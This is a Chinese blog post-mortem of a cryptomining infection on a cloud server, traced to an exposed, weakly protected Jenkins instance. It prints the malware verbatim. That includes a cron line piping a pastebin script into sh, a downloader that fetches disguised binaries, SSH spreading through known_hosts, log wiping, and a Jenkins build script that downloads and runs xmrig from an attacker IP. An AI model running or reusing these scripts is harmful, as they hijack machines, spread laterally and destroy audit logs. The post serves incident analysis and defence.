Hi,阿金 ...

记一次比特币病毒木马事件

发表: 2019-03-08 分类:

记一次比特币病毒木马事件

这两天开发同事突然反应代码无法上线,经排查是阿里云服务器不能正常git pull 代码.

开始排查.记录如下.

排查git

第一感觉就是可能git问题,代码冲突.

  • 1.手动pull

结果 :连接超时.

  • 2.ping git.xxx.com
    git.xxx.com 我们自建的git服务器,

    结果:git服务器正常.
    百思不得骑姐,本地git正常使用,其它服务器也正常使用.为什么从这台服务器访问不了22端口呢?
    考虑: 1,被git服务器防火墙加黑名单;2,这两天阿里云服务器抽风.
    主观直觉都是把坑扔给别人,谁让你们阿里云可用9999的.

  • 3.排查git服务器
    关闭访问墙,查看黑名单都没有异常.因为git服务器是自建在内网.
    怀疑是联通又把我们的端口封了,这种事经常有.
    但使用外网其它服务器访问,都正常.所有把联通排除了.
    结论: git服务器正常.

所有矛头都指向了阿里云

但在前一台晚上,重启一下服务器,竟然正常了.
你说,阿里不背这个锅,谁背.
今天也出问题了,也同样重启,发现不好使.
想前几天阿里云监控报警短信,可能我们的服务器真的出问题了.
第一感觉,我们没问题,是配置出问题了.于是乎,打开安全配置.


公网出,全OK.
才想起来看消息,通知.

妈呀,这是要炸啊!打开其中一条.

阿里云把我们的对外22端口屏蔽了.怪不得安全设置都各种没有发现问题.原来是我们服务器在攻击了别人呀.
就是中病毒了呗.

查毒

进入服务器,病毒或木马最喜欢做的一件事,写定时脚本

1
crontab -e

妈呀,一条自动任务,在下载脚本运行呐

1
*/15 * * * * (curl -fsSL https://pastebin.com/raw/yPRSa0ki||wget -q -O- https://pastebin.com/raw/yPRSa0ki)|sh

  • 先看文件是啥

    又下载另一个脚本,脚本内容长这样子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

echo "*/10 * * * * (curl -fsSL https://pastebin.com/raw/yPRSa0ki||wget -q -O- https://pastebin.com/raw/yPRSa0ki)|sh" | crontab -

ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "watchdog"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "watchdogs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "ksoftirqds"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "suolbcc"|awk '{print $2}'|xargs kill -9
ps aux|grep -v grep|grep -v kintegrityds|awk '{if($3>=80.0) print $2}'|xargs kill -9
yum -y install coreutils||apt-get -y install coreutils
apt-get install cron -y||yum install crontabs -y||apk add cron -y

if [ ! -f "/tmp/.lsdpid" ]; then
ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
(curl -fsSL http://sowcar.com/t6/677/1551954043x2890211684.jpg -o /tmp/kthrotlds||wget -q http://sowcar.com/t6/677/1551954043x2890211684.jpg -O /tmp/kthrotlds) && chmod +x /tmp/kthrotlds
elif [ ${ARCH}x = "i686x" ]; then
(curl -fsSL http://sowcar.com/t6/677/1551954069x2890211684.jpg -o /tmp/kthrotlds||wget -q http://sowcar.com/t6/677/1551954069x2890211684.jpg -O /tmp/kthrotlds) && chmod +x /tmp/kthrotlds
else
(curl -fsSL http://sowcar.com/t6/677/1551954069x2890211684.jpg -o /tmp/kthrotlds||wget -q http://sowcar.com/t6/677/1551954069x2890211684.jpg -O /tmp/kthrotlds) && chmod +x /tmp/kthrotlds
fi
nohup /tmp/kthrotlds >/dev/null 2>&1 &
elif [ ! -f "/proc/$(cat /tmp/.lsdpid)/stat" ]; then
ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
(curl -fsSL http://sowcar.com/t6/677/1551954043x2890211684.jpg -o /tmp/kthrotlds||wget -q http://sowcar.com/t6/677/1551954043x2890211684.jpg -O /tmp/kthrotlds) && chmod +x /tmp/kthrotlds
elif [ ${ARCH}x = "i686x" ]; then
(curl -fsSL http://sowcar.com/t6/677/1551954069x2890211684.jpg -o /tmp/kthrotlds||wget -q http://sowcar.com/t6/677/1551954069x2890211684.jpg -O /tmp/kthrotlds) && chmod +x /tmp/kthrotlds
else
(curl -fsSL http://sowcar.com/t6/677/1551954069x2890211684.jpg -o /tmp/kthrotlds||wget -q http://sowcar.com/t6/677/1551954069x2890211684.jpg -O /tmp/kthrotlds) && chmod +x /tmp/kthrotlds
fi
nohup /tmp/kthrotlds >/dev/null 2>&1 &
fi

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/yPRSa0ki||wget -q -O- https://pastebin.com/raw/yPRSa0ki)|sh >/dev/null 2>&1 &' & done
fi

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#

就是下载脚本和文件,没有安装crontab就自动帮你安装,添加免密码登录等等.

那么 https://pastebin.com/ 是什么网站?

就是一个可以匿名在线使用的代码风格化工具,肯定木马使用者不会傻到拿自己服务器作脚本下载的.
为什么是这个网站呢?
1.可以匿名,记得国内有用豆瓣网做脚本的,查不到就怪了.
2.可以使用Raw源代码输出;


随便一个人都可以在线写东西.
所有到这里,基本上是找不到任何有用的东西.

找根源

这脚本怎么来的?难道我们root密码泄漏了么?
之前xshell被种后门,记忆犹新.我们也中招过.
但怀疑是怀疑还得有根据.
清空crontab后,又几分钟自动创建,完全清不掉呐.

  • 查看对外网络情况
    1
    netstat


段错误,显示不全,这个netstat 可能查不了.
换个方向,使用ss命令

1
ss


有两个明显的不熟悉的IP地址,因为我们服务IP地址少,一眼就能看出来异类的.

193.56.28.19
134.209.104.20

这些端口都在变化,随机的:
找到一个

```
1
2
3
4
5

![](http://img.hi-arkin.com/2019-03-08-15520487278687.jpg)

查看一下进程.
关键字 trace

./trace

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
搜索一下文件
![](http://img.hi-arkin.com/2019-03-08-15520488808330.jpg)

这不是jenkins的工作目录么.
到这里我已经清楚来源了.
jenkins是我布署的,我很清楚他的危害,想考侥幸混过去,等闲下来再去整理,没想到来得那么快.

## Jenkins 自食其恶果

![](http://img.hi-arkin.com/2019-03-08-15520491414252.jpg)
登录jenkins后台,第一个任务就是这玩意,左下角任务不停的运行着.
![](http://img.hi-arkin.com/2019-03-08-15520492031184.jpg)

我们看一下,他都执行什么脚本.
触发器
![](http://img.hi-arkin.com/2019-03-08-15520492722210.jpg)
每分钟运行一次,"H" 表示,hash.意思尽可能在每分钟内执行一个Job.执行完成,等下一分钟.

看一下构建脚本
![](http://img.hi-arkin.com/2019-03-08-15520495270442.jpg)
贴一个完整的

```bash
#!/bin/bash
if [[ $(whoami) != "root" ]]; then
for tr in $(ps -U $(whoami) | egrep -v "java|ps|sh|egrep|grep|PID" | cut -b1-6); do
kill -9 $tr || : ;
done;
else
echo 128 > /proc/sys/vm/nr_hugepages;
sysctl -w vm.nr_hugepages=128;
fi

threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
hostHash=$(hostname -f | md5sum | cut -c1-8);
echo "${hostHash} - ${threadCount}";

_curl () {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80

exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}

rm -rf config.json;

d () {
curl -L --insecure --connect-timeout 10 --max-time 55 --fail $1 -o $2 2> /dev/null || wget --no-check-certificate --timeout 55 --tries 2 $1 -O $2 2> /dev/null || _curl $1 > $2;
}

test ! -s trace && \
d http://193.56.28.19:52343/xmrig.tar.gz trace.tgz trace.tgz && \
tar -zxvf trace.tgz && \
mv xmrig trace && \
rm -rf trace.tgz;

test ! -x trace && chmod +x trace;

k() {
./trace \
-r 2 \
-R 2 \
--keepalive \
--no-color \
--nicehash \
--donate-level 0 \
--cpu-priority 3 \
--print-time 10 \
--threads ${threadCount:-4} \
--url $1 \
--user P \
--pass X \
--keepalive
}

k 193.56.28.19:8080 || k 193.56.28.19:8080

开启代理服务这些都不是关键,关键是
下载
http://193.56.28.19:52343/xmrig.tar.gz
这个文件.
xmrig查一下就知道

这个就是比特币病毒.
至此就结束了,剩下就是清空病毒,修改系统,最简单的方法,利用阿里云的镜像加回滚.

关于我们jenkin问题:

  1. 为了方便远程,我开启了公网访问
  2. 最关键还被搜索引擎收录了
  3. 管理员密码太简单了
  4. 为了方便运行脚本,把Jenkins的运行权限设太高
  5. jenkin连接着所有服务器,攻破它就相当于攻破了城堡.

本文作者:阿金

本文链接:http://www.hi-arkin.com/2019/03/08/DevOps/xmrig_script/

版权声明:本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!

扫描二维码,分享此文章